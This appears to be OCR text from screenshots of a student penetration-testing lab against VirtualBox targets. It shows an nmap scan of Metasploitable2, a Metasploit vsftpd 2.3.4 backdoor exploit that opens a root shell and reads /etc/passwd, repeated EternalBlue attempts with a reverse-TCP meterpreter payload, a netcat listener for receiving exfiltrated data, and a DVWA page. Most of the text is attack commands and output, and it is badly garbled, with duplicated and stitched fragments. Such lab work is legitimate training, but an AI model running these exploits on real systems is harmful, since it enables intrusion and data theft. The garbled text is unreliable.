nc ~lvp 444b > received.txt
Listening on [any] 4444

Get the SID for the local domain
Set the SID for the local domain
Set domain SID on member servers
Get domain SID on member servers

Display the maximum RID currently used

Tomap functions
Display server status

Manage user-modifiable shares
Display list of all users with SID

Manage Samba registry based configuration

Manage the Samba registry
Process Win32 =.evt eventlog files
Process tdb printer files

Manage the serverid tdb

notifyd client code

Show information from tdb records

Filesysten operation through the VFS stack

Manage witness registrations
Print usage information

this is the synthetic test data for exfiltration."> testdata.
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[(kali® kati)-[~]
$ nmap -sV -sC -0 192.168.56.101,102,103 -oA initial_scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-28 20:42 EDT
Nmap scan report for 192.168.56.101

Host is up (0.00087s latency)

Not shown: 977 closed tcp ports (reset)

PORT  STATE SERVICE  VERSION
21/tcp  open ftp vsftpd 2.3.4

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
I ftp-syst

| STAT:
| FTP server status:
1 Connected to 192.168.56.104
1 Logged in as ftp
| TYPE: ASCIT
1 No session bandwidth limit
1 Session timeout in seconds is 300
1 Control connection is plain text
1 Data connections will be plain text
1 VSFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpensSH 4.7p1 Debian Subuntul (protocol 2.0)
| ssh-hostkey
| 1024 60:0f:cf:el:c0:5:6a:74:d6:90:24:fazch:dSi6c:cd (DSA) ~
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:8: 3 (RSA!
23/tcp  open telnet Linux telnetd
25/tcp  open smtp Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=0
COSA/stateOrProvinceName=There is no such thing outside US/countryName=XX -
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-4-16T14:07:45
| ssl-date: 2026-03-29T00:53:30+00:00; +10m02s from scanner time. A
|_smtp-comnands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY
ETRN, STARTTLS, ENHANCEDSTATUSCODES, S8BITMIME, DSN 4 @

sslva:
sSLv2 supported

I

I

| ciphers
I 5SL2_RCA_128_WITH_MDS

I SSL2_DES_64_CBC_WITH_MD5 -
I SSL2_DES_192_EDE3_CBC_WITH_MDS

I 5SL2_RCA_128_EXPORT40_WITH_MDS

I 5SL2_RC2_128_CBC_WITH_MDS

1 SSL2_RC2_128_CBC_EXPORT40_WITH_MD5

53/tcp  open domain 1ISC BIND 9.4.2
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| dns-nsid:

I_ bind.version: 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

111/tcp open rpcbind 2 (RPC #100000)

| rpcinfo:

| program version  port/proto  service
100000 111/tcp  rpcbind
100000 111/udp  rpcbind
100003 2049/tcp  nfs

2
2

2,3,4

100003 2,3,4 2049/udp  nfs
100005 1,2,3 40395/udp  mountd
100005 1,2,3 60089/tcp  mountd
100021 1,3,4 45050/tcp  nlockmgr

100021 1,3,4 55044/udp  nlockmgr

100024 1 40327/tcp  status

I_ 100024 1 52743/udp  status

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd
513/tcp open login OpengsD or Solaris rlogind
514/tcp open shell Netkit rshd

1099/tcp open java-rmi  GNU Classpath grmiregistry
1524/tcp open bindshell —Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp POFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntus
I mysql-info:
| protocol: 10

Version: 5.0.51a-3ubuntus

Thread ID: 8
Capabilities flags: 43564

Some Capabilities: Support4lAuth, SupportsTransactions, ConnectWithDataba
se, SpeaksulProtocolNew, SwitchTosSLAfterHandshake, SupportsCompression, Long
ColumnFlag

| status: Autocommit

|_ salt: )TLa"#@G'+AG!1"Jou}

5432/tcp open postgresql PostgresQL DB 8.3.0 - 8.3.7

| _ssl-date: 2026-03-29T00:53:30+00:00; +10m025 from scanner time

| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=0
COSA/stateOrProvinceName=There is no such thing outside US/countryName=XX

| Not valid before: 2010-03-17T14:07:45

|_Not valid after: 2010-04-16T14:07:45

5900/tcp open vnc VNC (protocol 3.3)

O % A Bn204s5|a c
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|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
ile System |_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.
|_http-server-header: Apache-Coyote/1.1
I http-favicon: Apache Tomcat

- | http-title: Apache Tomcat/s.5
MAC Address: 08:00:27:25:C6:1D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Home Running: Linux 2.6.X
05 CPE: cpe:/o:Linux:linux_kernel:2.6
05 details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss
: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1hlomols, deviation: 2h00mo0s, median: 10mols
| smb-os-discovery:
| 0s: unix (Samba 3.0.20-Debian)
Computer name: metasploitable
NetBIOS computer name:
Domain name: localdomain
FQDN: metasploitable.localdomain
System time: 2026-03-28T20:53:20-04:00
smb2-time: Protocol negotiation failed (SMB2)
smb-security-mode:
account_used: <blank> -
authentication _level: user
challenge_response: supported
message_signing: disabled (dangerous, but default) A
nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC
<unknown> (unknown) »
. Nmap scan report for 192.168.56.102 @
Host is up (0.00048s latency)
Not shown: 991 closed tcp ports (reset)
PORT  STATE SERVICE  VERSION
22/tcp open ssh OpensSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; proto
col 2.0)
| ssh-hostkey:
| 1024 e
I_ 2048 3;

),

5 (DSA)
7 (RSA)
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more with help log
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Metasploit

metasploit v6.4.34-dev

2461 exploits - 1267 auxiliary - 431 post
1468 payloads - 49 encoders - 11 nops

9 evasion

Metasploit Documentation: https://docs.metasploit.con/

nsf6 > use exploit/unix/ftp/vsftpd_234_backdoor

[*] No payload configured, defaulting to cmd/unix/interact

mSF6 exploit(uiix/« 1 veiipd 2ii bacidoor) > set RHOSTS 192.168.56.101
RHOSTS = 192.168.56.101

msF6 exploit(unin/ <tp/veftnd 234 backdoor) > show option

"~ | Invalid parameter "option”, use "show -h" for more information
nsf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.56.101:21
[*] 192.168.56.101:21
[+] 192.168.56.101:21
[+] 192.168.56.101:21
[*] Found shell.

[+] Command shell session 1 opened (192.168.56.104:41689 —> 192.168.56.101:6200) at 2026-03-29 15:48:53 -0400

Banner: 220 (vsFTPd 2.3.4)

USER: 331 Please specify the password
Backdoor service has been spawned, handling
UID: uid=0(root) gid=0(root)

.
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(ati®kati)-
$ id
ui

netdev),107(bluetooth), 115(scanner),127(1padmin), 135(wireshark), 137 (kaboxer), 138(vboxsf)

(kali® kali)-[
L' whoan
kali

(kali® kali)-
L hostnane
kali

[(kali®kati)-
uname -a
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kalil (2024-10-15) x86_64 GNU/Linux

[Ukali® kati)-[~)
$ cat /etc/passud
Toot:x:0:0:r00t:/root: /usr/bin/zsh
aemon: /ust/sbin: /ust/sbin/nologin
2:bin:/bin:/usr/sbin/nologin
usr/sbin/nologin

5534:sync: /bin: /bin/sync

:60:games : /usr/games: /usr/sbin/nologin

12:man: /var/cache/man: /usr/sbin/nologin
var/spool/lpd: /usr/sbin/nologin
:mail:/var/mail:/usr/sbin/nologin
var/spool/news : /usr/sbin/nologin
var/spool/uucp: /usr/sbin/nologin

var/backups: /usr/sbin/nologin
ailing List Manager:/var/list:/usr/sbin/nologin

rcd: /run/ircd: /usr/sbin/nologin

_apt 5534.:: /nonexistent : /usr/sbin/nologin

nobody :x: 65534 65534 :nobody : /nonexistent : /usr/sbin/nologin
systemd-network:x:998:998: systend Network Management:/:/ust/sbin/nologin
dhcpe 00:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd: /bin/false
systemd-timesync:x:992:992:systend Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102 :: /nonexistent:/usr/sbin/nologin

tss:x:102:104:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:103:65534 :: /var/Lib/strongswan: /usr/sbin/nologin

tcpdump: x:104:105 :: /nonexistent: /usr/sbin/nologin

sshd: Tun/sshd: /usr/sbin/nologin

000(kali) gid=1000(kali) groups=1000(kali),4(adn),20(dialout),24(cdrom),25(f1oppy),27(sudo),29(audio),30(dip), 44(video), 46(plugdev),100(users), 101(

O 4% A &55|& c
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proxy:x:13:13:proxy:/bin: /usr/sbin/nologin

wi-data twwwi~data: /var/wmi: /ust/sbin/nologin

backup:x:34:34:backup: /var/backups: /ust/sbin/nologin

Tist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc Tun/ircd: /ust/sbin/nologin

_apt:x:42:65534:: /nonexistent : /usr/sbin/nologin

nobody:x: 65534 65534 :nobody : /nonexistent : /usr/sbin/nologin

systemd-network ystend Network Management:/:/usr/sbin/nologin

dhcpcd:x:100:65534:DHCP Client Daemon, ,, :/usr/lib/dhcpcd: /bin/false
systemd-timesync:x:992:992:systend Time Synchronization:/:/usr/sbin/nologin
messagebu: usr/sbin/nologin

ts5:x:102:10
strongswan:x:103:65534 :: /var/Lib/strongswan: /usr/sbin/nologin

tcpdum 05:: /nonexistent: /usr/sbin/nologin

sshd: 5534 :: /run/sshd: /ust/sbin/nologin

dnsmasq: 165534 :dnsmasq: /var/1ib/misc: /usr/sbin/nologin

avahi:x:106:108:Avahi mDNS daemon, , , :/run/avahi-daemon: /usr/sbin/nologin

nn-openvp: 09:NetworkManager OpenVPN, , , :/var/lib/openvpn/chroot: /usr/sbin/nologin
speech-dispatcher:x:108:29:Speech Dispatcher, ,,:/run/speech-dispatcher:/bin/false

usbmux:x:109:46:usbmux daemon, , , : /var/Lib/usbmux: /usr/sbin/nologin
pulse:x:110:110:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
nn-openconnect : x:111:113: NetworkManager OpenConnect plugin, , ,:/var/lib/NetworkManager: /usr/sbin/nologin
Tightdm:x:112:114:Light Display Manager:/var/lib/lightdm: /bin/false

saned:x:113:116:: /var/Lib/saned: /usr/sbin/nologin

polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin

rtkit:x:114:117:RealtimeKit, , , : /proc: /usr/sbin/nologin

colord:x:115 olord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
_galera:x:116:65534 :: /nonexistent: /usr/sbin/nologin
mysqlix:117:120:MariaDB Server,,,:/nonexistent:/bin/false

stunnels

90:990: stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin

_rpe:x:11
geoclu 1

Debian-snmp:x:120:122 :: /var/lib/snmp: /bin/false

sslh:x:121:123:: /nonexistent: /usr/sbin/nologin

ntpsec:x:122:126:: /nonexistent: /usr/sbin/nologin

cups-pk-helper:x:123:127:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin
redsocks:x: /var/run/redsocks: /usr/sbin/nologin

_gophish /var/1ib/gophish: /usr/sbin/nologin

fodine /run/iodine: /usr/sbin/nologin

/var/run/miredo: /usr/sbin/nologin

var/lib/nfs: /usr/sbin/nologin

29:131:: /var/Lib/redis: /usr/sbin/nologin
postgres:x:130:132:PostgresqL administrator, ,,:/var/lib/postgresql:/bin/bash
mosquitto /var/lib/mosquitto:/usr/sbin/nologin

inetsim: var/lib/inetsim: /usr/sbin/nologin

ST IO
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redsocks:
_gophish

:124:128
125:130

/var/run/redsocks: /usr/sbin/nologin
/var/1ib/gophish: /usr/sbin/nologin

fodine:x:126:65534 :: /run/iodine: /usr/sbin/nologin
miredo /var/run/miredo: /ust/sbin/nologin

statd var/lib/nfs: /usr/sbin/nologin

redis:x:129:131:: /var/lib/redis: /usr/sbin/nologin
postgres:x:130:132:PostgresQL administrator, ,,:/var/lib/postgresql:/bin/bash

mosquitto /var/lib/mosquitto:/usr/sbin/nologin
: /var/lib/inetsin: /usr/sbin/nologin
var/lib/openvas: /ust/sbin/nologin

11y :/home/kali: /ust/bin/zsh

lati®kati)
$ ifconfig
etho: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 £d00::50dd:4f80:b997:1c29 prefixlen 64 scopeid 0xd<global>
8FF:4530:4507 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:6e:13:6e txqueuelen 1000 (Ethernet)
RX packets 677 bytes 619696 (605.1 KiB
RX errors 0 dropped @ overruns 0 frame 0
TX packets 391 bytes 49710 (48.5 KiB
TX errors @ dropped 0 overruns 8 carrier 0 collisions 0

ethl: flags=4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 192.168.56.104 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe0::e779:e9a4:520a:besl prefixlen 64 scopeid 0x20<link>
ether 08:00:27:57:66:09 txqueuelen 1000 (Ethernet)

RX packets 137079 bytes 10531535 (10.0 MiB)
RX errors 0 dropped @ overruns 0 frame 0
TX packets 406350 bytes 24544235 (23.4 MiB)
TX errors @ dropped 0 overruns 0 carrier 0 collisions 0

To: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x10<host>
Toop txqueuelen 1000 (Local Loopback)
RX packets 262216 bytes 11018172 (10.5 MiB)
RX errors @ dropped @ overruns 0 frame 0
TX packets 262216 bytes 11018172 (10.5 MiB)
TX errors @ dropped 0 overruns 0 carrier 0 collisions 0

(kali® kali)
Con

O A &5 & C
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[(ali®ati)-[~]
$ sudo msfconsole —q
[sudo] password for kali:
wsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[+] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(i </ 1 uiiipd it bacidoor) > set RHOSTS 192.168.56.101
RHOSTS = 192.168.56.101
nsf6 exploit(unix/Fep/vsftpd_234sbackdoor) > Tun

[+] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.56.101:21 - USER: 331 Please specify the password.

[+] 192.168.56.101:21 - Backdoor service has been spawned, handling ...

[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[+] Command shell session 1 opened (192.168.56.104:43503 — 192.168.56.101:6200) at 2026-03-29 16:4

9 -0400
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[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.56.101:21 - USER: 331 Please specify the password

[+] 192.168.56.101:21 - Backdoor service has been spawned, handling ..
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[+] Command shell session 1 opened (192.168.56.104:43503 — 192.168.56.101:6200) at 2026-03-29 16

id
uid=0(root) gid=a(root)

whoami

root

hostname

metasploitable

unmae -a

sh: line 9: unmae: command not found
uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 1
cat /etc/passud

Toot:x:0:0:r00t:/root: /bin/bash

daemon usr/sbin: /bin/sh

bin bin/sh
sys:x:3:3:sys:/dev:/bin/sh

65534:sync: /bin: /bin/sync

games. 0: games: /usr/games: /bin/sh
man:x:6:12:man: /var/cache/man: /bin/sh
1p:/var/spool/1pd: /bin/sh
ail:/var/mail:/bin/sh

news :x:9:9:news: /var/spool /news: /bin/sh
ucp: /var/spool /uucp: /bin/sh
bin:/bin/sh

proxy

34:34:backup: /var/backups: /bin/sh
ailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd: /bin/sh

gnats. nats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody :x: 65534 65534 :nobody : /nonexistent : /bin/sh

Libuuid:x:100:101:: /var/1ib/libuuid:/bin/sh

dhep: nonexistent: /bin/false

syslog /home/syslog: /bin/false
Klog:x:103:104 :: /home/klog: /bin/false

0 UTC 2008 1686 GNU/Linux
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dhcp:x:101:102 :: /nonexistent:/bin/false
syslog:x:102:103:: /home/syslog: /bin/false

04:: /home/Klog: /bin/false

5534 :: /var/run/sshd: /usr/sbin/nologin

msfadmin: x:1000:1000:nsfadnin, , , : /home/msfadmin: /bin/bash

bind:x:105:113 :: /var/cache/bind: /bin/false

postfixix:106:115:: /var/spool/postfix:/bin/false

Ftp:x:107:65534 :: /home/ftp: /bin/false

postgres:x:108:117:PostgresQL administrator, ,,:/var/Lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server, ,, :/var/lib/mysql:/bin/false
tomcats5:x:110:65534 :: /usr/share/tomcats. 5: /bin/false

distcc bin/false
user:x:1001:1001:just a user,111,,:/home/user: /bin/bash
service:x:1002:1002:,,,:/home/service: /bin/bash

telnet 20:: /nonexistent: /bin/false
proftpd:x:113:65534 :: /var/run/proftpd: /bin/false
statd:x:114:65534 :: /var/lib/nfs: /bin/false
1s -la /root
total 76
druxr-xr-x 13 root root 4096 Mar 29 16:24
druxr-xr-x 21 root root 4096 May 20 2012 .
1 root root 324 Mar 29 16:24 .Xauthority
root root 9 May 14 2012 .bash_history — /dev/null
Toot root 2227 Oct 20 2007 .bashr:
Toot root 4096 May 20 2012 .config
oot root 4096 May 20 2012 .filezilla
oot root 4096 Mar 29 16:24 .fluxbox
Toot root 4096 May 20 2012 .gconf
oot root 4096 May 20 2012 .gconfd
Toot root 4096 May 20 2012 .gstreamer-0.10 -
Toot root 4096 May 20 2012 .mozilla
root root 141 Oct 20 2007 .profile
oot root 4096 May 20 2012 .purple A
root root 4 May 20 2012 .rhosts
Toot root 4096 May 20 2012 .ssh
Toot root 4096 Mar 29 16:24 .vn
Toot root 4096 May 20 2012 Desktop
root root 401 May 20 2012 reset_logs.sh
oot root 138 Mar 29 16:24 vnc.log
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druxr-xr-x 21 root root 4096 May 20 2012 ..
root root 324 Mar 29 16:24 .Xauthority

- 1
Trwxrwxrwx 1 root root 9 May 14 2012 .bash_history — /dev/null
—rw-r--r- 1 root root 2227 Oct 20 2007 .bashr
drux 3 root root 4096 May 20 2012 .config
drux 2 root root 4096 May 20 2012 .filezilla
druxe-xr-x 5 root root 4096 Mar 29 16:24 .fluxbox
drux 2 root root 4096 May 20 2012 .gconf
drux 2 root root 4096 May 20 2012 .gconfd
druxr-xr-x 2 root root 4096 May 20 2012 .gstreamer-0.10
drux 4 root root 4096 May 20 2012 .mozilla
—ru-r 1 root root 141 Oct 20 2007 .profile
drux 5 root root 4096 May 20 2012 .purple
~rux 1 root root 4 May 20 2012 .rhosts
druxr-xr-x 2 root root 4096 May 20 2012 .ssh
drux 2 root root 4096 Mar 29 16:24 .vn
druxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rux 1 root root 401 May 20 2012 reset_logs.sh
~rw-r--r-- 1 root root 138 Mar 29 16:24 vnc.log
ifconfig
etho Link encap:Ethernet HWaddr 08:00:27:25:c6:1d
inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: feso::a00:27ff:fe25:c61d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:158 errors:@ dropped:@ overruns:o frame:@
TX packets:144 errors:@ dropped:@ overruns:0 carrier:o
collisions:@ txqueuelen:1000
RX bytes:21436 (20.9 KB) TX bytes:20452 (19.9 KB)
Base address:0xd020 Memory: f0200000-F0220000
1o Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:307 errors:0 dropped:0 overruns:o frame:
TX packets:307 errors:@ dropped:@ overruns:o carrier:o
collisions:0 txqueuelen:o

RX bytes:124649 (121.7 KB) TX bytes:124649 (121.7 KB)
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[*] 192.168.56.
[*] 192.168.56.
[*] 192.168.56.
[+] 192.168.56.
[+] 192.168.56.
[*] 192.168.56.
[*] 192.168.56.
[*] 192.168.56.

Trying exploit with 12 Groom Allocations
Sending all but last fragment of exploit packet

starting non-paged pool grooming

Sending SMBV2 buffers

Closing SMBV1 connection creating free hole adjacent to SMBv2 buffer.
Sending final SMBv2 buffers.

Sending last fragment of exploit packet!

Receiving response from exploit packet

|1 192.168.56. Did not receive a response from exploit packet

[+] 192.168.56. Sending egg to corrupted connection

|1 192.168.56.103:445 - Errno:: ECONNRESET: Connection reset by peer

[+] Exploit completed, but no session was created

mSF6 exploit(i/idous Sh/ et/ 010 cieriaihius) > use exploit /windows/smb/ms17_010_eternalblue

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/windous/snb/ns17_010_eternalblue 2017-03-14 average Yes  MS17-010 EternalBlue SMB Remote Win
dows Kernel Pool Corruption

1 \_ target: Automatic Target

2 \_ target: Windows 7

3 \_ target: Windows Embedded Standard 7

4 \_ target: Windows Server 2008 R2

5 \_ target: Windows 8

6 \_ target: Windows 8.1

7 \_ target: Windows Server 2012

8  \_ target: Windows 10 Pro

9 \_ target: Windows 10 Enterprise Evaluation -
Interact with a module by name or index. For example info 9, use 9 or use exploit/windows/snb/ms17_010_eternalblue A
After interacting with a module you can manually set a TARGET with set TARGET 'Windows 10 Enterprise Evaluation

#

[+] Using exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
nsf6 exploit(windows/smb/ms17_010_eternalblue) > [
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target: Windows Server 2008 R2

target: Windows 8
target: Windows 8.1

target: Windows Server 2012

target: Windows 10 Pro

target: Windows 10 Enterprise Evaluation

Interact with a module by name or index. For example info 9, use 9 or use exploit/windows/smb/ms17_010_eternalblue
windows 10 Enterprise Evaluation

After interacting with a module you can manually set a TARGET with set TARGET

[+] Using exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
nsf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.56.104:4444

[*] 192.168.56.103:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

|1 192.168.56.103 - Host does NOT appear vulnerable

[+] 192.168.56.103: - Scanned 1 of 1 hosts (100% complete)

|1 192.168.56.103:445 - The target is not vulnerable

[*] 192.168.56.103:445 - Forcing Exploit

[*] 192.168.56.103:445 - Connecting to target for exploitation

[+] 192.168.56.103:445 - Connection established for exploitation.

[+] 192.168.56.103:445 - Target 0S selected valid for 0S indicated by SMB reply
[*] 192.168.56.103:445 ~ CORE raw buffer dump (40 bytes)

[*] 192.168.56.103
[*] 192.168.56.103
[*] 192.168.56.103:
[+] 192.168.56.103
[*] 192.168.56.103
[*] 192.168.56.103:
[*] 192.168.56.103
[+] 192.168.56.103
[+] 192.168.56.103:
[*] 192.168.56.103
[*] 192.168.56.103
[+] 192.168.56.103:

- 0x00000020 65 20 50 61 63 6b 20 31

- Trying exploit with 12 Groom Allocations
- Sending all but last fragment of exploit packet
- Starting non-paged pool grooming

- Sending SMBv2 buffers

- Sending final SMBv2 buffers.
- Sending last fragment of exploit packet!
- Receiving response from exploit packet

- 0x00000000 57 69 be 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp
- 0x00000010 72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63

rise 7601 Servic
e Pack 1

- Target arch selected valid for arch indicated by DCE/RPC reply

- Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
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can be selected manually with

"set TARGET <0S_NAME>'

[+] Exploit completed, but no session was created.
N\ msf6 exploit( ) > set TARGET 1

TARGET = 1

nsf6 exploit( ) > run

Started reverse TCP handler on 192.168.56.104:4444

192.168.56.103:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

192.168.56.103: 445 - Host does NOT appear vulnmerable.

192.168.56.103: 445 - Scanned 1 of 1 hosts (100% complete)

192.168.56.103:445 - The target is not vulnerable.

192.168.56.103:445 - Forcing Exploit

192.168.56.103:445 - Connecting to target for exploitation

192.168.56.103: 445 Connection established for exploitation.

102.168.56.103:445 - Target 05 selected valid for 05 indicated by SMB reply
192.168.56.103:445 - CORE raw buffer dump (40 bytes)

192.168.56.103: 445 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 7@ Windows 7 Enterp
192.168.56.103:445 - 0x00000010 72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63 rise 7601 Servic
192.168.56.103: 445 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
102.168.56.103:445 - Target arch selected valid for arch indicated by DCE/RPC reply
102.168.56.103:445 - Trying exploit with 12 Groom Allocations

192.168.56.103:445 - Sending all but last fragment of exploit packet

192.168.56.103:445 - Starting non-paged pool grooming

102.168.56.103:445 - Sending SMBv2 buffers

192.168.56.103:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer
192.168.56.103:445 - Sending Final SWBV2 buffers.

Family%20t... studentdi 192.168.56.103:445 - Sending last fragment of exploit packet!

3 . 192.168.56.103:445 - Receiving response from exploit packet

[*1
[*1
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C:\> whoami && ipconfig .
X Iali@kali: -
C:\>dir /s /b C:\Users\*se| 5 N
- File Actions Edit View Help
C:\> type C:\Users\Admin [lEUECUCiCIes
Windows Server 2012
. Windows 10 Pro
Evidence of Success Windows 10 Enterprise Evaluation

M Then it can be selected manually with 'set TARGET <0S_NAME>
Meterpreter sessid Exploit completed, but no session was created.

X msf6 exploit( ) > set TARGET 1
Sensitive dummy (RITESEIEY

msf6 exploit( ) > run

Local user accou Started reverse TCP handler on 192.168.56.104 34444

192.168.56. 45 - Using auxiliary/scanner/smb/smb_ms17_10 as check

. MITRE ATT&CK: T1 192.168.56. - Host does NOT appear vulnerable.
N 192.168.56. - Scanned 1 of 1 hosts (100% complete)
T1059.003 (Windows Col 192.168.56. - The target is not vulnerable.
192.168.56. - Forcing Exploit
192.168.56. - Connecting to target for exploitation
[+] 192.168.56. - Connection established for exploitation
[+] 192.168.56. - Target 05 selected valid for 0S indicated by SMB reply
192.168.56. - CORE raw buffer dump (40 bytes)
192.168.56. - 0x00000000 57 69 6e G4 6F 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp
192.168.56. - 0x00000010 72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63 rise 7601 Servi
192.168.56. - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[+] 192.168.56. - Target arch selected valid for arch indicated by DCE/RPC reply
192.168.56. - Trying exploit with 12 Groom Allocations
192.168.56. - Sending all but last fragment of exploit packet

192.168.56.
[+] 192.168.56.
[+] 192.168.56.

- Starting non-paged pool grooming
- Sending SMBv2 buffers
- Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer

192.168.56. - Sending final SMBv2 buffers
192.168.56. - Sending last fragment of exploit packet

192.168.56. - Receiving response from exploit packet

192.168.56. - Did not receive a response from exploit packet

192.168.56. - Sending egg to corrupted connection

192.168.56. - Errno:: ECONNRESET: Connection reset by peer

Exploit completed, but no session was created
nsf6 exploit( ) > 1

ords [  TextPredictions: On 3 Accessibility: Unavailable ol a— L%
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sudo msfconsloe -q

[sudo] password for kali:

sudo: msfconsloe: command not found

[lkati®kati)-[~]

sudo msfconsole -q

nsf6 > use auxiliary/scanner/smb/smb_ms17_010

mSf6 auxiliary(:cainer/ <o/ <nb o1/ 010) > set RHOSTS 192.168.56.103
RHOSTS = 192.168.56.103

msf6 auxiliary(scanner/sub/sub 517 010) > run

|1 192.168.56.103:445 - Rex
168.56.103:445) timed out

[*] 192.168.56.103:445 - Scanned 1 of 1 hosts (100% complete)

[+] Auxiliary module execution completed

mSf6 auxiliary(-coiner <o/ sib o0 010) > use exploit/windows/smb/ms17_010 e
ternalblue

ConnectionTimeout: The connection with (192

Matching Modules

#  Name Disclosure Date Rank
Check Description

0 _eternalblue 2017-03-14 averag
e Yes Ms17-010 SMB Remote Windows Kernel Pool Corruption

1 \_ target: Automatic Target
2\ target: Windows 7

3\ target: Windows Embedded Standard 7
4 \_ target: Windows Server 2008 R2

\_ target: Windows 8

by
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E 5\ target: Windous 8 . R J

6 \_ target: Windows 8.1
File System
7 \_ target: Windows Server 2012
8  \_ target: Windows 10 Pro

- 5 4
Home 1o explot/windons/sn/ms17.010_psexec 20170314 normal
Yes  MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote W

indows Code Execution
11 \_ target: Automatic

target: Windows 10 Enterprise Evaluation

2\

. target: Powershell
13\ target: Native upload

14\ target: MOF upload >
15\ AKA: ETERNALSYNERGY

16 \_ AKA: ETERNALROMANCE
17 \_ AKA: ETERNALCHAMPION

lo \| Aa: EVERNALBLDE

- Interact with a module by name or index. For example info 18, use 18 or use e
xploit/windows/smb/ms17_010_psexec

msf6 auxiliary(scanner/smb/smb_ms17_010) > [
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KaliLinux # KaliTools « KaliDocs 3 Kali Forums e Kali NetHunter = Exploit-DB * Google Hacking DB ¢} OffSec

Instructions
Setup.

Brute Force
Command Execution
csrF

Insecure CAPTCHA
File Inclusion

SQL injection

SQL Injection (Biind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are
to be an aid for security professionals to test their skills and tools in a legal environment, help web developers
better understand the processes of securing web applications and aid teachers/students to teach/learn web
application security in a class room environment.

WARNING!

